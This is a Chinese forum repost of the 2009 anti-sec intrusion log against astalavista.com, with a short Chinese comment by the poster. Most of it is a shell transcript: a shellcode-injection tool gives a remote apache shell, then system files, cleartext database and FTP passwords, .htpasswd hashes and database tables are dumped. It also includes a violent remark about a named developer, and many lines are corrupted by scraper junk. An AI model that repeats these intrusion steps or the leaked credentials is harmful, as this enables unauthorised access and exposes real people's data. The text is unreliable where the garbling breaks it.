中国网络渗透测试联盟

标题: Astalavista被蹂躏过程 [打印本页]

---

作者: admin    时间: 2012-11-6 21:07
标题: Astalavista被蹂躏过程
里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
4 n* ~, N0 C" W1 L
0 F& N$ |, _6 J! M% _[root@front3 ~]# curl -I litespeedtech.com
4 `8 B8 {' |2 {, `+ |( KHTTP/1.1 200 OK
Date: Fri, 05 Jun 2009 22:54:51 GMT
9 K4 E# o( L' R: U9 qServer: LiteSpeed
4 H9 n1 A% \8 K8 W/ t& w
另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3  x64还有一个localroot 0day -_-
! v* \) K% H7 \6 i
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。
" o4 q' T5 R1 b( e, }, q
6 `1 g( z& C2 V' |  h, {6 [  W1 j
/  _  \  /   _____/\__    ___/  _  \ |    |     /  _  \   \ /   /|   |/   _____/\__    ___/  _  \
/  /_\  \ \_____  \   |    | /  /_\  \|    |    /  /_\  \   Y   / |   |\_____  \   |    | /  /_\  \
/    |    \/        \  |    |/    |    \    |___/    |    \     /  |   |/        \  |    |/    |    \
\____|__  /_______  /  |____|\____|__  /_______ \____|__  /\___/   |___/_______  /  |____|\____|__  /
        \/        \/                 \/        \/       \/                     \/                 \/
& @3 w# Y/ m# @& g+ \* M' p                                  The Hacking & Security Community
[+] Founded in 1997 by a hacker computer enthusiast
[-] Exposed in 2009 by anti-sec group
7 X( m) ^( F  Z1 y
From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
>> 03. Who’s behind the site?
$ l9 _5 g+ y( J6 S2 S, G7 v, e0 e$ i- l>>
>> A team of security and IT professionals, and a countless number of contributors from all over the world.
  \1 \/ g/ N* p: H1 W9 l2 F
& }5 p5 Q+ _' ?3 l9 y% F>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
" W- q: {1 g& q% i+ ]>>
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
military institutions.
  c- T1 S* Z$ ^  ~5 R: J8 C>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.

Why has Astalavista been targeted?

* p1 e7 e6 Y* M# d( @" b. }$ UOther than the fact that they are not doing any of this for the “community” but
9 y8 O0 S/ @9 D( `5 e7 ^for the money, they spread exploits for kids, claim to be a security community
(with no real sense of security on their own servers), and they charge you $6.66
per months to access a dead forum with a directory filled with public releases
and outdated / broken services.
* U9 d' B# E0 {( K4 b  G0 E  T( f
We wanted to see how good that “team of security and IT professionals” really is.
: R7 ^" Y* v  ]) W" D' M
Let’s begin.

! [# K' f% A) p7 Canti-sec:~# ./g0tshell astalavista.com -p 80
[+] Connecting to astalavista.com:80
( }9 m# Q3 d+ j[+] Grabbing banner…
LiteSpeed
2 s# n. n7 p$ S" E9 \[+] Injecting shellcode…
+ {1 i; P6 q% k( y$ L+ N4 _1 W[-] Wait for it
# ~- {8 M* y" Q( ^/ h
[~] We g0tshell
: H- `; |; A0 ?. C+ G' Runame -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
6 l- V* X+ ^; l6 f) @( jID: uid=100(apache) gid=500(apache) groups=500(apache)

/ T" b1 w2 J( c1 ]4 p$ Ysh-3.2$ cat /etc/passwd
$ P) f* r5 j, M* x+ p1 q- hroot:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
' p/ P0 M8 v4 r0 i; x% P/ r1 D9 X. tsync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
; C3 Q" {- x$ Z  _. Cnews:x:9:13:news:/etc/news:
3 F# |8 D' M3 @8 y0 Juucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
" e9 w0 L  e( m4 p# E1 woperator:x:11:0perator:/root:/sbin/nologin
4 e$ v. L+ u4 S5 G* egames:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
8 A) ]/ a! J; [8 N+ D$ B, Qftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
, b) G* f6 h2 ~0 Vnobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
$ p( V9 u" p! k* D, {smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpc:x:32:32ortmapper RPC user:/:/sbin/nologin
5 [8 Q* r; n  {7 r) x/ wrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
. Y( r6 L4 I- A1 J" G6 Gpcap:x:77:77::/var/arpwatch:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
apache:x:100:500::/var/www:/bin/false
3 Y- r' k7 ~$ j3 _. n% K% kdiradmin:x:101:101::/usr/local/directadmin:/bin/bash
3 }8 L( b* S1 tmysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
9 @: Z4 j1 c3 w6 F% d/ H! `/ Rwebapps:x:500:501::/var/www/html:/bin/bash
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
admin:x:501:502::/home/admin:/bin/bash
: R% y* A5 B* C1 x& Zjon:x:502:503::/home/jon:/bin/bash
! X  p2 q+ E& c% Qcom:x:503:504::/home/com:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
5 G1 T# v6 S5 Pastanet:x:504:505::/home/astanet:/bin/bash
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

; }" `7 `4 s7 `% o, f  `, Msh-3.2$ cat /etc/hosts
* W, a' }, c  p8 h* h0 x# Do not remove the following line, or various programs
# that require network functionality will fail.
* F" A+ C1 F2 A/ ?: |3 ^! v+ Q127.0.0.1       localhost.localdomain   localhost
% J. S7 x  F$ J' I& y9 r::1     localhost6.localdomain6 localhost6
80.74.154.172           asta1.astalavistaserver.com
7 S8 {0 @' K9 W1 w( Q  E
sh-3.2$ pwd
6 z5 C* V) R4 [7 N3 h) L5 N( c/home/com/public_html
  i! w0 ^# O4 k# A% M
5 c+ X" P. H( T6 @. m/ @sh-3.2$ ls -la
total 18460
drwxr-xr-x 30 com apache     4096 May 28 17:06 .
/ W7 Z$ h4 M( |* q+ o1 A. bdrwx–x–x 11 com com        4096 Jun 25  2008 ..
drwxr-xr-x  2 com com        4096 Feb  2 19:29 admin
drwxrwxrwx  2 com com    18591744 Jun  4 08:04 cache
drwxr-xr-x  6 com com        4096 Mar 28 21:17 cadmin
; d( M; c5 Q. u  ydrwxrwxrwx  2 com com        4096 May 19 00:50 config
0 L$ J1 ?$ N9 ?* f. adrwxr-xr-x  2 com com        4096 Mar 20 11:05 core
1 H/ Q9 Y/ y# l' q( Y; Odrwxr-xr-x 18 com com        4096 Feb  2 19:29 core_modules
% B0 j7 J. J) x0 x: Mdrwxr-xr-x  4 com com        4096 Feb  2 19:29 customizing
2 m7 p) M# s, G3 j2 rdrwxr-xr-x  2 com com        4096 May 11 13:24 customizing_paulo
drwxr-xr-x  6 com com        4096 Mar 30 12:28 __DELETE__
( _  O% o! \& A7 i1 ~3 {-rw-r–r–  1 com com        8035 May 19 14:26 directory_to_mediadir.php
drwxr-xr-x  2 com com        4096 Sep  9  2008 dvd
. K0 ?6 _  }0 Z6 c6 {( b! u' |. Edrwxr-xr-x  3 com com        4096 Feb  2 19:29 editor
8 c5 y* o/ X$ w, S2 x-rw-r–r–  1 com com        3750 Feb 27 16:12 favicon.ico
0 R* y: b/ r  B+ H' h' Pdrwxrwxrwx  2 com com        4096 Jun  4 08:00 feed
) n0 ]  n! j  C( z7 E  A-rwxrwxrwx  1 com com       10736 May 29 12:44 .htaccess
-rw-r–r–  1 com com        7638 Apr 21 08:45 .htaccess.2009-04-21.bak
$ X  U3 |. C. f-rw-r–r–  1 com com       10768 May 11 11:53 .htaccess.2009-05-11.bak
drwxr-xr-x 18 com com        4096 Apr  9  2008 ideapool
drwxrwxrwx 14 com com        4096 Feb  2 19:29 images
-rw-r–r–  1 com com       97496 Jun  2 13:01 index.php
drwxr-xr-x  6 com com        4096 Feb  2 19:29 installer
5 I2 e; M: ~6 U8 c4 N# wdrwxr-xr-x  8 com com        4096 Feb  2 19:29 lang
, ^# g' a: U, J7 _drwxr-xr-x 22 com com        4096 Feb  2 19:29 lib
drwxrwxrwx 12 com com        4096 Jun  2 07:47 media
1 r4 G5 c0 q& O+ ?$ ^# r  Z8 Odrwxr-xr-x  8 com com        4096 May 11 12:48 modifications
drwxr-xr-x 34 com com        4096 May 28 16:30 modules
/ d- H4 l$ V) C% Wdrwxr-xr-x 11 com com        4096 Jan 30 15:00 _myAdmin
drwxrwxr-x 22 com com        4096 May 28 17:06 _new
0 P( c2 ^* a0 \) X, ^$ B) ?drwxr-xr-x 26 com com        4096 Feb  2 19:27 _old
' B) R; @. e$ V( ]/ [1 H7 ldrwxr-xr-x  2 com com        4096 Mar 30 12:29 phproxy
drwxr-xr-x  2 com com        4096 Mar 30 12:30 proxy
2 X1 g6 }7 K/ a/ a. L-rw-r–r–  1 com com          26 Feb  2 19:33 robots.txt
$ }" d% F' E* ^% }+ J, l4 I-rwxrwxrwx  1 com com       10844 Jun  2 09:50 sitemap.xml
-rw-r–r–  1 com com         223 Mar 30 15:32 test.php
drwxrwxrwx  8 com com        4096 Mar  6 13:15 themes
- L; F! T* `1 p3 A" W' ~. ~  z+ odrwxrwxrwx  3 com com        4096 Jun  4 08:00 tmp
+ p0 V% t% j' m- L! zdrwxr-xr-x  3 com com        4096 Feb  2 19:33 webcam
3 W2 d7 D7 @; I
8 G/ Q* L, A9 z% Ssh-3.2$ head -20 index.php
4 q7 Z- \, n2 d" q' J9 R6 M<?php

8 `! y5 m  z/ \9 B" K) b/**
" @# G% s. z) R- A% i* The main page for the CMS
* @copyright   CONTREXX CMS - COMVATION AG
* @author      Comvation Development Team
* @version     v1.0.9.10.1 stable
* @package        contrexx
* @subpackage    core
* @link        链接标记[url]http://www.contrexx.com/[/url] contrexx homepage
* @since       v0.0.0.0
- i. [$ R. j+ w; w- C* @todo        Capitalize all class names in project
( J) `0 a9 j' b. C* @uses        /config/configuration.php
9 r/ p) P- T* j1 ^1 E* @uses        /config/settings.php
' A" M; A( i/ y1 C* V: b* @uses        /config/version.php
8 W0 [% w# |; K  W6 t  B" [9 L0 s* @uses        /core/API.php
, t9 @- E3 g0 i5 F* @uses        /core_modules/cache/index.class.php
* @uses        /core/error.class.php
8 K( f  }0 I, s. q* Q& g1 k* @uses        /core_modules/banner/index.class.php
; \8 |  g2 b& }! k( Z* @uses        /core_modules/contact/index.class.php
+ D% Z5 _9 b: E7 D
sh-3.2$ cd config/
sh-3.2$ ls -la
total 32
drwxrwxrwx  2 com com    4096 May 19 00:50 .
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
( J( R7 F; Q2 T. v# h% w: e-rwxrwxrwx  1 com com    2998 May 11 12:29 configuration.php
' y# a* P. h, y' o/ N+ g! s+ y/ M-rwxrwxrwx  1 com com    7610 May 28 17:27 set_constants.php
-rwxrwxrwx  1 com com    4186 May 25 12:54 settings.php
-rwxrwxrwx  1 com com     672 Feb  2 19:29 version.php
2 ~: `* ~# W+ l7 W! `/ o
sh-3.2$ cat configuration.php
& V' e" F# W/ Z! }" k# C[snip]
2 F- F; A/ ^* B6 S* d8 z: x$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
; G  p: H/ J5 N3 v+ P# m# Z$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
$ t( I# l3 H; E, e$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)
+ ]/ P, E' T4 e1 {[snip]
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
9 l/ X( g/ l8 a9 k: K4 E$_FTPCONFIG['use_passive'] = true;      // Use passive ftp mode
, Q# T7 h' A1 x2 {( O1 x4 a# f6 F$_FTPCONFIG['host']     = ‘localhost’;// This is normally set to localhost
$_FTPCONFIG['port'] = 21; // Ftp remote port
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username
6 `: r$ d2 E8 K! U7 D3 l) N* C$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password
$_FTPCONFIG['path']     = ‘/’; // Ftp path to cms
' |$ d: b: D* t4 {. V% d
2 f- b% m' U1 t; G0 |3 H) Tsh-3.2$ cd ..
, P; t( ?: _0 gsh-3.2$ cd dvd/
8 [$ A; {6 D- V1 X" Q0 ]! A2 X* \: jsh-3.2$ ls -la
total 2913780
' w. F4 _6 y  Y9 [4 idrwxr-xr-x  2 com com          4096 Sep  9  2008 .
3 c- D& |$ k' }6 h5 _7 O: Gdrwxr-xr-x 30 com apache       4096 May 28 17:06 ..
' }& t7 [1 C5 v3 X# x' {4 }% o-rw-r–r–  1 com com    1050061483 May 16  2008 astalavista_security_toolbox_dvd_2008.part1.rar
-rw-r–r–  1 com com    1050061483 May 16  2008 astalavista_security_toolbox_dvd_2008.part2.rar
; z! t4 l, i3 B  o6 d% Q-rw-r–r–  1 com com     880644069 May 16  2008 astalavista_security_toolbox_dvd_2008.part3.rar
-rw-r–r–  1 com com           115 Jan 29  2008 .htaccess

sh-3.2$ cat .htaccess
0 F. D( P6 k# N  {) Q' E4 jauthType Basic
( a; j5 V4 c* s( R+ {3 zauthName DVD
# A* A2 b* M. ~5 y, b. M% `authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
require valid-user
$ C5 R0 i. t" ~6 I
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
DVDdownload:CRD8cuY6.MPT6
7 a$ y) v1 T0 P* Z1 a, \/ o4 xDVDdownload2:CR8a36.wluFMg

& s6 l( q' r1 D# U( f7 j, {# B. c$ `sh-3.2$ cat test.php
<?php
$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
0 v' @1 B% D1 W$url = str_replace(array(’&amp;’, ‘&#38;’), ‘&’, base64_decode(rawurldecode($url)));
echo $url;
5 v' k, X4 e: S?>

; V+ M/ E( u" h* p/ m7 B; }sh-3.2$ cd modifications/
" W4 _% j- _* k' Ish-3.2$ ls -la
total 32
* ^) `2 x5 N, ddrwxr-xr-x  8 com com    4096 May 11 12:48 .
) |( j1 ~- |6 \& R: N! Bdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
" c) D0 l3 o) ?8 v! e) {1 M/ ^drwxr-xr-x  3 com com    4096 Feb  2 19:33 com_avtng
drwxr-xr-x  3 com com    4096 May 12 09:26 cronjobs
drwxr-xr-x  2 com com    4096 Mar  2 10:35 onlinetools
drwxr-xr-x  4 com com    4096 Feb  2 19:33 pjirc
, s2 A& `" [  _$ q* q% K: W6 qdrwxr-xr-x  2 com com    4096 Feb  2 19:33 search
3 f3 c  O$ s$ J! @! r1 Cdrwxr-xr-x  2 com com    4096 Mar 25 08:56 _tmp
! P( B6 I! i( M& H9 n! z3 F
sh-3.2$ ls -R
. n0 J& ]& U3 B" V; t; V$ G8 f6 I.:
com_avtng  cronjobs  onlinetools  pjirc  search  _tmp

$ u) p) l$ X9 w7 Q7 f( F./com_avtng:
2 r5 Q0 f. q9 ?: p( w: i( x" ?1 Mavtng.php  banner_bottom.inc.php  banner_button.inc.php  banner_content.inc.php  banner_popunder.inc.php  banner_right.inc.php  banner_top.inc.php  iframe.php  scripts

2 f+ s( I% m$ P./com_avtng/scripts:
popunder.js
- ~8 H8 Q" B7 {
./cronjobs:
exploits.php  exploits.sh  google_blogindexing.php  ip2country.sh  proxydb2.php  proxydb.php  securitynews.php  tmp

./cronjobs/tmp:
contrexx_module_onlinetools_defaultports.csv  contrexx_module_onlinetools_geolitecity_country.csv
3 `5 {, U; G1 z8 Y# v
/ \$ R+ ]2 Z: e. C5 J./onlinetools:
index.php

0 l# A( l) z" p/ N* s+ e./pjirc:
a_big.jpg          english.lng       img              irc.jar           NormalApplet.html  pixx-french.lng  pjirc.cfg       securedirc-unsigned.cab  thanks.txt
AppletWithJS.html  french.lng        IRCApplet.class  irc-unsigned.jar  pixx.cab           pixx.jar         readme.txt      SimpleApplet.html        versions.txt
background.gif     HeavyApplet.html  irc.cab          license.txt       pixx-english.lng   pixx-readme.txt  securedirc.cab  snd

" B) b) b. z0 l; o./pjirc/img:
. ~, p# }7 O, J! H7 [! t( L6 @ange.gif    bombe.gif   clin-oeuil.gif         content.gif  enerve2.gif  garcon.gif     langue.gif  mecontent.gif  ordi.gif       portable.gif   sapin.gif    triste.gif
arbre.gif   bouche.gif  clin-oeuil-langue.gif  cool.gif     femme.gif    grognon.gif    lettre.gif  newbie.gif     pere-noel.gif  pouce-non.gif  sleep.gif   
verre-eau.gif
/ h# t! f" K5 [. x! n% o8 hargh.gif    bouqin.gif  coeur-brise.gif        diable.gif   fille.gif    halloween.gif  lit.gif     OH-1.gif       pleure.gif     pouce-oui.gif  soleil.gif  
verre-vin.gif
ballon.gif  cadeau.gif  coeur.gif              dwchat.gif   fleur.gif    hamburger.gif  love.gif    OH-2.gif       poisson.gif    roll-eyes.gif  sourire.gif  yinyang.gif
  I7 O) y5 S  g  Bbiere.gif   chien.gif   comprends-pas.gif      enerve1.gif  fume.gif     homme.gif      lune.gif    OH-3.gif       pomme.gif      rouge.gif      terre.gif
" v: f5 j5 \& s+ H7 n# ~- t% q
./pjirc/snd:
0 h! b# P  J+ \% A6 w& Fbell2.au  ding.au
2 P; T! a- ?# Y4 U5 d* M, `5 H
./search:
/ [# J, U( P6 m0 u/ _* F) v. }searchEngines.php  search.php
' g$ K0 p+ |/ L* s
./_tmp:
defaultPorts.php  defaultPorts.txt
+ h  {1 Q3 M& Y* x# j5 }3 s
sh-3.2$ cd cronjobs/
7 O) `4 x4 c) ?9 r  u5 e) `/ Hsh-3.2$ cat exploits.php
. @; U% o* a( ]& X5 U[snip]
$ b3 N8 |8 i4 Q9 d6 w# |: Z" [$categories   = array();
$ g. b9 B# q+ ^. g; A* o  d$milw0rmFile  = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;
. n* ]& _0 U9 O7 p& k' ^6 ]3 ?  Q$expolits     = file($milw0rmFile);
$comExploits  = array();
6 }" q4 ]) E! i9 `# @# S& X[snip]
3 D1 y- J1 I0 w// manage data
* c, i1 ~' |8 R7 z% `& N" t0 }for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640

    // get path and title
    $expolits[$x] = trim($expolits[$x]);
, K: v* k, L" R0 g* x; |$ [- ?0 A    $path         = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));
; i2 A' [+ w" y3 I2 Q2 i    $title        = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);

" ^9 e7 Z8 h" y3 r3 Q    // check if file exists
    if (file_exists($path)) {

        $text = file_get_contents($path);

: ]2 X3 Q) X2 z; S. K( ^" o        // get content and date
        //$text = htmlspecialchars($text, ENT_QUOTES);
        $tmptext = addslashes(htmlentities($text,  ENT_QUOTES, “UTF-8″));
        if ($tmptext != ”) {
            $text = $tmptext;
( z/ x" r+ s3 w4 T. I        } else {
            $text = addslashes(htmlentities($text,  ENT_QUOTES));
        }
        $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
) k* H$ O; o# A3 j  o        $tmp  = explode('-', $date);
8 y; g3 y, o; D9 U6 Y% A: ?        $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
        $cat  = getCategory ($path);
        $ext  = pathinfo(basename($path));
0 m5 z1 z) X/ H        $ext  = $ext['extension'];
        $qStr = ”
7 W7 c/ u1 x7 Z            SELECT  `id`
            FROM    `contrexx_module_exploits`
2 l! R" v, m4 @            WHERE   `title`  =  ‘” . $title . “‘
            AND     `date`   =  ‘” . $date . “‘
. g. d+ i8 n. f  w- V3 B" e, v        “;
        echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
        $q = $_objDB->query($qStr);
8 R4 q3 k: ?4 I0 s
9 M( Y. A1 n, t/ j        if ($q->numRows() == 0) {

2 d: b) l# x9 m" i: |+ r- a, z            // prepare array
            $comExploits[$x]['date']      = $date;
/ }: i# M0 y9 C            $comExploits[$x]['title']     = $title;
            $comExploits[$x]['author']    = ‘milw0rm’;
            $comExploits[$x]['text']      = $text;
0 \) ^+ S5 m$ [            $comExploits[$x]['source']    = $ext;
            $comExploits[$x]['url1']      = ”;
            $comExploits[$x]['url2']      = ”;
/ M  i( f$ E8 a; ?            $comExploits[$x]['catid']     = $cat;
            $comExploits[$x]['lang']      = ‘2′;
( v8 O6 Q  N4 q' D! s" N            $comExploits[$x]['userid']    = ‘12′;
" V4 b2 S/ W& U4 J& F            $comExploits[$x]['startdate'] = ‘0000-00-00′;
            $comExploits[$x]['enddate']   = ‘0000-00-00′;
            $comExploits[$x]['status']    = ‘1′;
            $comExploits[$x]['changelog'] = $date;
' r4 X0 ]( a8 Y' o2 G0 u" r
0 s( e: q1 c9 v! {        }
% t3 g' e. `6 {) |# A# k[snip]
    $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
1 W/ ?. N; {( S. }<rss version=”2.0″>
7 }* K" u3 [5 q0 f, S1 v    <channel>
3 N6 z* s6 a5 D7 N& u+ Y        <title>ASTALAVISTA.com - Exploits</title>
. Z* F+ Y) I: ~$ p3 z( y- a        <link>http://www.astalavista.com/exploits</link>
6 o! ?! V1 R  ?0 z        <description>All availably Exploits.</description>
4 f! ]7 h& j3 C/ _, V! t+ Z. R        <language>en-us</language>
+ _; a: L8 j, B+ C        <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
6 g3 ^* ?, W+ X% S' C        <docs>http://blogs.law.harvard.edu/tech/rss</docs>
/ F! o$ I: z+ c( b: s        <generator>Astalavista.com</generator>
        <webMaster>info@astalavista.com</webMaster>’ . $items . ‘
    </channel>
</rss>’;

& M/ p8 [' a2 h/ N    if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {
        unlink (FULLPATH . ‘/feed/exploits.xml’);
0 m: h- d: g4 H# X# v4 d3 ~. H: @    }

    file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
[snip]
# d- F  D  x0 }! f6 q. e
6 N# t! e( w& m# E) R3 Xsh-3.2$ cat exploits.sh
- u7 p, w  N; a: |) ]#!/bin/sh
, z- Y/ g+ A  d& p/ P5 ]
###########################################################
4 U0 W2 Q& c- {6 s  W#                                                         #
#   Title:        milw0rm exploits adder                  #
: N3 d# W! \7 o- R* `: B#   Description:  Add all milw0rm exploits to the         #
' U7 [9 n4 |& n#                 Astalavista.com database                #
" J' v- Q9 p" K2 k: P- @9 @* N2 S#                                                         #
8 S; P/ ]7 l, l8 @#   Company:      Astalavista Group                       #
#   Author:       Paulo M. Santos                         #
+ w3 b' U5 z% n, k' w2 @3 |#   E-Mail:       链接标记paulo.santos@astalavista.ch             #
$ y! Y% Z- P. k/ l4 q#                                                         #
9 ?1 o" O3 |2 {5 `* L###########################################################
1 T- a  {, l# a) S9 z/ t/ R
# path
' B2 k) z% a) i5 w5 b7 E; Fthis_path=/home/com/public_html/modifications/cronjobs
3 g- d) U: u: {$ j& c
# change directory
! D% c, B! l. Ecd $this_path
8 I% U% D( z- S! a; wcd tmp/
" S5 n( P. k# Z. p: ?
7 F" T4 K$ p1 l* e# ^3 i& l# delete files
rm -rf milw0rm.tar.* &
( |: r4 h0 e' C# Xrm -rf milw0rm/ &
: U0 }2 b1 c, ]$ P1 B5 x
# wget milw0rm paket
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]
$ q+ e* f1 `1 [. b" e* a* j6 h( ^
  ?6 [* o+ F3 `$ l, N5 r# extract milw0rm paket
tar -xvf milw0rm.tar.bz2
5 F# ]! |; P9 _0 `- H, o
) {4 h4 E1 ^; D, ~0 s; @: s# change owner
chown -R com .
. [9 X# w: p$ l8 kchgrp -R com .
4 L  B9 w- t# y+ x
5 }1 j1 T6 f; R1 `0 a# execute php script
) f' B6 z2 `* @! I+ v' ecd $this_path
php -q exploits.php

# delete files
rm -rf tmp/milw0rm.tar.*
rm -rf tmp/milw0rm/

sh-3.2$ echo “Paulo M. Santos needs to be shot down.”
. c3 D/ k$ I1 l. i; z' k4 bPaulo M. Santos needs to be shot down.

mysql -u contrexxuser2 -p
- Y: t' x' F  h6 v- d( v$ JEnter password:
" r; C: ~* X; D8 I4 ?Welcome to the MySQL monitor.  Commands end with ; or \g.
' ]6 p1 L4 l) N. ZYour MySQL connection id is 261694
Server version: 5.0.45-community-log MySQL Community Edition (GPL)

3 R# c/ Q7 `$ c2 ?+ lType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
  @- N2 G) R. u& Y+ U
' V7 h) E+ H3 T* Zmysql> show databases;
+——————–+
| Database           |
  W$ D, y# Z1 a+——————–+
+ i) Z: O( q& e' N8 m6 i6 p| information_schema |
| com_contrexx2      |
; Q  V3 S* x8 z* _| com_contrexx2_live |
| test               |
6 U; Y9 P; g( @$ `4 J  X+——————–+
0 u& J. z, w; u; x4 J* f4 rows in set (0.00 sec)
. a  ~) s& _* y4 W4 V4 k+ F
mysql> use com_contrexx2_live
; G- R8 u# D4 j7 j! s! Q; ZDatabase changed
mysql> show tables;
+————————————————–+
| Tables_in_com_contrexx2_live                     |
) ]6 k+ U( l3 s/ Y+————————————————–+
| cc_banner_counter                                |
| cc_search_counter                                |
| contrexx_access_group_dynamic_ids                |
' q# g6 l6 U$ A' ~0 N| contrexx_access_group_static_ids                 |
7 X; E. Q& K5 W| contrexx_access_rel_user_group                   |
| contrexx_access_settings                         |
| contrexx_access_user_attribute                   |
7 r: C9 X; w7 R/ q: X. z2 v7 M| contrexx_access_user_attribute_name              |
| contrexx_access_user_attribute_value             |
7 b  j; A7 I4 K/ O9 i8 b" \, t- V| contrexx_access_user_core_attribute              |
| contrexx_access_user_groups                      |
, }. r1 p" r+ c' w  A* B$ T| contrexx_access_user_mail                        |
| contrexx_access_user_profile                     |
| contrexx_access_user_title                       |
| contrexx_access_user_validity                    |
! p8 ^$ \8 ^! r5 h* `1 ^" [5 _| contrexx_access_users                            |
5 a& g8 z, u7 b8 H! v3 Z( w| contrexx_backend_areas                           |
| contrexx_backups                                 |
% v/ F( ?: S/ U| contrexx_content                                 |
* K0 V  b( |. u* b| contrexx_content_history                         |
| contrexx_content_logfile                         |
0 w* v- B6 [1 z| contrexx_content_navigation                      |
| contrexx_content_navigation_history              |
| contrexx_ids                                     |
0 M" z4 Q6 {6 Y! M, d. y* N6 O| contrexx_languages                               |
| contrexx_lib_country                             |
. Z% l/ S, @1 U$ E8 e5 \7 k' g| contrexx_log                                     |
| contrexx_module_alias_source                     |
| contrexx_module_alias_target                     |
' k0 I2 E1 X4 l9 W| contrexx_module_block_blocks                     |
| contrexx_module_block_rel_lang                   |
| contrexx_module_block_rel_pages                  |
| contrexx_module_block_settings                   |
5 t( i$ B) }2 C* t" k$ q, l| contrexx_module_blog_categories                  |
| contrexx_module_blog_comments                    |
| contrexx_module_blog_message_to_category         |
| contrexx_module_blog_messages                    |
7 d% j0 L" K& H# [3 T| contrexx_module_blog_messages_lang               |
| contrexx_module_blog_networks                    |
| contrexx_module_blog_networks_lang               |
# |8 B2 {5 d9 N; z8 O  ^# L| contrexx_module_blog_settings                    |
- [$ O5 C* f0 `9 \1 a| contrexx_module_blog_votes                       |
| contrexx_module_calendar                         |
| contrexx_module_calendar_access                  |
$ I: I; f2 H& N9 N& t| contrexx_module_calendar_categories              |
| contrexx_module_calendar_form_data               |
